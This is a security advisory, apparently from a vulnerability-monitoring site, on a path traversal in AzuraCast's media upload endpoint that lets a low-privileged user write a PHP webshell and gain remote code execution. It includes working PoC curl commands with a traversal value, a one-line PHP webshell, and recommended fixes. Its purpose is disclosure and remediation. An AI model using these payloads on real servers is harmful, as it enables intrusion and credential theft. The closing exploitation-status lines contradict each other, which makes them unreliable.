Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-vp2f-cqqp-478j
No affected components available
Summary
The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.
Details
In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:
// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));
$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
$destPath = $currentDir . '/' . $destPath;
}
While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.
This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:
// MediaProcessor.php:75-117
try {
if (MimeType::isFileProcessable($localPath)) {
// ... process media ...
return $record;
}
// ...
throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
$this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
throw $e;
} finally {
$fs->uploadAndDeleteOriginal($localPath, $path); // ALWAYS executes
}
The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.
For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():
// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
$destPath = $this->getLocalPath($to); // PathPrefixer::prefixPath() — simple concatenation
$this->ensureDirectoryExists(dirname($destPath), ...);
copy($localPath, $destPath); // OS resolves ../
}
getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.
Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.
The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.
PoC
Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:
Step 1: Upload a PHP webshell via path traversal
curl -X POST "http://localhost/api/station/1/files/upload" \
-H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
-F "flowTotalChunks=1" \
-F "flowChunkNumber=1" \
-F "flowCurrentChunkSize=44" \
-F "flowTotalSize=44" \
-F "flowIdentifier=abc123" \
-F "flowFilename=shell.php" \
-F "currentDirectory=../../../../../var/azuracast/www/public" \
-F "file_data=@shell.php"
Where shell.php contains:
<?php system($_GET['cmd']); ?>
Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.
Step 2: Execute commands via the webshell
curl "http://localhost/shell.php?cmd=id"
Expected output:
uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)
Impact
- Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.
- Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.
- Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.
- Data Exfiltration: All station data, user credentials, and application secrets become accessible.
Recommended Fix
Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:
// FlowUploadAction.php — replace line 79:
$currentDir = Types::string($request->getParam('currentDirectory'));
// With:
$currentDir = UploadedFile::filterClientPath(
Types::string($request->getParam('currentDirectory'))
);
Additionally, harden LocalFilesystem::upload() to normalize paths before use:
// LocalFilesystem.php — add path normalization in upload():
public function upload(string $localPath, string $to): void
{
$normalizer = new WhitespacePathNormalizer();
$to = $normalizer->normalizePath($to); // Throws PathTraversalDetected on ../
$destPath = $this->getLocalPath($to);
$this->ensureDirectoryExists(
dirname($destPath),
$this->visibilityConverter->defaultForDirectories()
);
if (!@copy($localPath, $destPath)) {
throw UnableToCopyFile::fromLocationTo($localPath, $destPath);
}
}
Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard